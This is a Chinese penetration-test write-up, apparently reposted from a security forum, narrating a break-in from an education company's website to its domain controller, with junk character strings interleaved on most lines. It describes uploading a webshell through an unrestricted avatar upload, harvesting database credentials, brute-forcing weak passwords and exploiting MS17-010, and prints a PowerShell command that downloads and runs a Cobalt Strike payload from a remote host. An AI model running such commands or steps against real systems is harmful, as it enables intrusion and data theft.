4 S T7 g ]2 \% a6 b 这次渗透是一个从0到1,从外网到拿下域控的实战过程,希望可以给大家一些思路
9 L, R" _/ ^5 L/ g E6 q- U + R! `4 l% F) a! n8 P u5 b
. B& z# z4 B4 l( R% Q) T' _6 `& | 1 S4 W! ^ r/ j% }: g% q. @
; g: p+ G9 v2 y5 E) W6 V1 k( V! h9 Q% `5 L M4 y* M. j7 ?( N
正文
3 r4 ]! x4 G1 ~0 L9 X0 u2 D' e
' @' U7 q# P& V, \' R) ?3 H+ w7 m
9 K1 O8 T9 ]* S4 s$ ?+ k$ T
& F, o Y Q9 E2 o: m9 o8 v
; d, x: z) M6 z' I$ F1 s; ~5 ?/ y7 ?! @/ N: r0 e; r! f! e
目标:www.xxxx.com(一家教育机构) 9 U. D6 v, M* s9 j2 w
打开是一个登录框,只能是手机号+密码或者手机号+验证码且并未开放注册功能
1 |, M6 J) |# D! I: g6 B6 M * Z( N( I5 a6 e4 x- H3 ]1 h, W
) Q0 T& _* Y5 t% d7 B" @% P [ 4 q8 f7 `/ @* L, A, T/ \
4 l1 @6 Z) v% l& n4 i/ b" k5 |4 e
3 k U) d' @+ g' C 进行了简单的信息搜集
) q2 ^& }* e4 j4 Q F 2 b$ p* R; Z$ @. [& p
% u$ D0 x! m1 E- ~
# E5 a. u0 O! a: i
+ ^2 ~( J2 m9 ^ `6 i/ s 子域名搜集
2 b) W* s2 }$ G 7 f5 J0 d: F1 n' H( l6 a
! ]7 G4 K% q# P( V" ?2 m$ l
# K4 V( X3 a- a; i2 S
9 [5 q4 f: X- X) \' V: t
. A- t1 f7 ~7 V+ I$ D
fofa找资产 # I, ?; M$ l* F h
1 @: j) P x* }4 x1 Q$ C: G ?% H
/ B h2 G. F% M2 Q* L7 R2 d, A
4 i+ }& M$ x% {0 m" K. r2 [7 q$ H& K7 q
' Z' O4 L, r6 H$ }
: n Y9 g& g, F( D; h7 v3 w
8 D* M5 G& T4 k* X% c- V0 X
一共七个资产。去重之后只有两个。
7 O. Y& _" {& O2 h
/ e3 H4 Y9 {+ Y/ m7 J' V
5 [ w% ?: A! G( X1 P
' t* k5 P9 Z" g% X d# g
A- x" D& c, }7 T+ O 目录探测! t6 L$ `/ Z9 V- F6 O9 _! ?
) f7 L3 A( W5 {! ?* D. ~4 F" o+ r: E5 X: Z; F8 v3 H
9 ^% R2 v" N4 N& O4 m; q, L
9 `2 a+ x6 \: \( q0 J/ q
4 @2 w! q/ I0 G$ q1 l4 j; E, m 我尝试了暴力枚举,看有没有弱口令之类的,然而并没有
2 L: V* R) Y8 T
- G s3 z' Z4 p# T. R/ s" D& N5 ] X& O9 @
4 q0 [$ d( H7 O7 [! f
2 ?+ U8 `8 S, Y9 q, C7 X( v, X 我又尝试了通过修改返回包来绕过登录界面
2 b( b) _+ \$ [) F b" c 5 m$ o+ C" _# |0 ?
: Q! \) L5 n; l
" _- ^+ R0 u* N& v! E; ]) W
; I/ e2 x8 k+ L# e9 u* x6 o6 v
/ u* l( ~+ q6 Z k* k 还是不行,尝试注入无果2 c. e9 s7 K' W) x% w$ M
k' G$ g( Z1 H
8 T4 Q2 [) }" P5 T; t0 G* q
6 c/ M$ ?1 ]- K
& `: \! V* i- G/ Z! F$ b+ |, N5 n. X& {/ Y, L9 ^" {# D6 j6 _( D
不过我目录探测出了一处Spring信息泄露 * l6 J; Q# n& S& X" ?$ i3 p
$ r. l" ]# x, q% `+ T
9 a0 t9 a2 A: F' \8 j4 o' n + Z, E* l1 v7 ~; D |
0 S* C! a& B* c
$ @: J7 j: N5 |9 @" _0 G 1 v$ Q G9 z5 r3 ~4 k) r* z. p
5 D( C/ C9 ~5 s" \5 e; H0 x' _
尝试Spring RCE无果,想通过trace目录下替换cookie实现登录,但是发现删除了这个目录
5 G$ J! [, ]6 ^, V6 Z$ f' O/ \- L 9 G* v1 ?% _/ Z
" U& K# T* D5 d; e
* x" T3 N1 Z: T, l/ C1 I
0 M3 P/ A* r7 u! I2 _
# j1 c1 S2 e M3 X' f, \ 后对公众号进行了简单的信息搜集,针对公众号搜集时,尽量找后面认证过的进行渗透。
]1 N: S( ^/ [* A1 P! E4 j' x
- ?% H- Y8 j4 ^ S; B! G7 ?( `* v) L5 U8 v4 D- n/ O3 \. X- M
; M' B/ ^- L% L$ J) G/ W # D) G9 _) a- h* ]
/ w2 b x# m5 R
获取有些师傅到这一步就手机抓包电脑测了。) k9 q5 N) t' O* n9 \
* i8 v# `- Z6 ?: y# ~8 ~5 j
" s6 U' H$ ~ R Windows新版微信可以抓取公众号和小程序的包,只需要把IE代理配置一下即可。2 G' m3 F4 T, N) g
$ n {% f0 g' L
1 V; T- L6 Q p 其中在一个公众号发现了小程序,可以进行注册。
5 ~; e2 ]: `# X ^1 Z & B8 K" s5 A9 d" g$ g- L
1 r0 H! m F0 F1 r7 f$ Q$ |
看到了头像上传,尝试上传获取WebShell/ o( d- r. W4 i
" H; Z, z+ L2 J& h
' J- W, s6 B) i/ ^& l; g( D
4 _ H- s% V: \7 |7 Q" M8 x8 T * V$ J1 M: h% x2 o' _: K. a
6 r! w0 C! |) g+ h8 o7 I 未做任何限制成功GetShell,上了冰蝎马,目录没权限访问2 X, w/ ^: n* J( k* K
: U0 u3 ~8 r: @4 q' P/ g
- e' B9 b/ Q+ v0 G8 h4 {: i& [6 U ; ^9 }$ c# H3 i
" X6 r+ t Q8 w6 Z& E4 s) Y% I6 x4 Y( R7 L3 E- \
然后上了大马
2 R3 P0 [, s4 R1 _3 p
9 o! f, F8 H0 g
7 d! W9 O2 ~% @ ! b) I! Z9 H/ q$ E( s3 O
2 @! y s' o# M- B% w
( c$ ^& Q4 [5 C
x8 b# K4 x, i+ q4 L
- Y! b# a) [3 P7 K/ F
9 l4 L. r O4 R 通过翻找文件发现数据库账号密码( X5 g, H, R1 i @4 j0 |! W& }
, F: I9 @6 g' Z+ t v
- A! ~5 w1 ]1 A7 o, Y; T
! F9 l D" M; m! D# A2 m& h
# {, v2 `! ^' H1 D2 G3 C7 Z) g, w5 @# g# |) f$ R
--内网渗透
) y. @- p* ]2 y
, T$ b$ O# q8 M/ S8 @& i: ^# r8 _7 z$ H% v6 n" R
直接通过powershell执行 cs上线
+ l7 } w! R; L2 z, S
# K$ B/ T) R" j. z5 o: \" w7 s; _
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://xxxxxxxxxxxxx/a'))"6 F$ m0 y) y* Q* p; U9 r8 @
0 a) o$ j7 w D3 v
- d$ \2 E7 R. {, w, O: S- k
4 v, H D3 |' a
5 K7 F% Q( G% @: b( N7 Y* A% b* a. l& B/ B3 y( v: ~+ | y V! P
进入内网后,简单的进行一波信息收集,寻找域控并对服务器段进行弱口令爆破
i/ w! a* H6 s0 ]2 r* u
. T4 L+ L/ r& T" t
; Z/ A6 K! j& b 7 C1 S! U: ]! N( O* w" N8 _
5 E0 d5 d. ^6 H6 q: d* N u: g
1 W+ M- u. `" m9 D 登录爆破出来的服务器,发现多网卡且存在逻辑隔离。 / I0 j4 C2 j. I }& ^. O
7 I( M6 D" U; X* N+ R
$ m% f% B$ ]9 `" v9 c
/ P7 X9 R8 e( Z- q
9 ^$ Z( p$ v1 H
# r4 |( S5 }/ [5 U$ @
, w5 Q- W. H* j' L$ B/ T
" u3 ?; d) ^& G5 d1 ]( D& O' _' H# f" z" i; k/ q7 `6 u# ]8 s0 I% W
通过跳扳机能通域控,发现域控server2008且存在ms17010,直接一把梭
4 Z% G. j3 P K7 V% S: w + v8 }8 i% o' ?5 o/ ]- o3 @9 n
* l6 p: P$ ?% g6 M0 q( }! e9 d
+ x( J) p% T* E2 ?
2 F+ s. a2 R% w: D9 N2 v ; _+ _4 P/ i1 e- z
" T$ R. [) r7 L2 }& f ^
. M& x0 }, y* R' l
/ ]- P* b6 f$ p" r& S
# \9 h, O2 z) H. U, u' D. x3 e7 A$ I' P: f1 V, s
j8 c N5 ~3 N6 l5 u, }8 [* a
. W- w' M) F( n8 Y 1 P/ r; t6 Z6 B
4 N, ]9 n: D" _0 v
, I( w; D3 b# g: U$ \9 \2 y1 I. e 小结0 L3 b v* V9 Y9 h2 B4 H
" n# u+ F* z0 a) J5 f; s) i. Z0 R9 h9 T# O, x) d1 A/ T! @$ L
! r& | C3 z9 D& h
( }( q) K. U, A, N9 I4 J( g; Y
+ J: v- R; T( w7 d/ h; F 在渗透测试过程中,信息收集很重要,细心和耐心也是不可缺少的,总得来说,这次的渗透测试总的来说比较顺利,希望可以给大家带来一些思路!/ s. N" s0 P& \/ L- t6 ]% W
/ z$ ?0 I5 S/ Z' K+ ?% d
: _+ U( e( ?" [5 ~ - W& P3 Y ~( M# E- N1 L& n
( g+ s! v3 p+ q9 @! W
. T( b' y% ], ]) `; C- K7 b - 6 f( e( _' \: b5 m8 ?- {
G2 W2 c" s2 Y/ g
* r% i' ` |! ^/ }$ u
- 5 ^( y6 w2 Y1 d" {. V; [" a
5 @# M' u: M* Z+ j9 t O4 a: b
8 Z9 t( g; j4 _1 K |. v 8 G- R) H, u: J% h
9 Q- `1 M& \$ s, @8 p7 d 作者:Xm4FDf转载自:https://bbs.ichunqiu.com/thread-57879-1-1.html
( c! b) n( F/ l- M r
* n" B) _/ r" `% o2 {. \7 X2 W; N8 y w0 R
9 ~+ r/ u3 P$ L% \1 U. V |